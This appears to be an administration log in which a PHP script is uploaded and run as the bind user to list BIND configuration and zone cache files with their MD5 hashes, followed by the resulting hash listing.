MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-28 15:20:54: Establishing a connection
2026-02-28 15:20:58: Establishing a connection
2026-02-28 15:20:58: 

PUT: /tmp/pkp291060

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-28 15:20:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp291060; rm /tmp/pkp291060'

2026-02-28 15:20:58: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
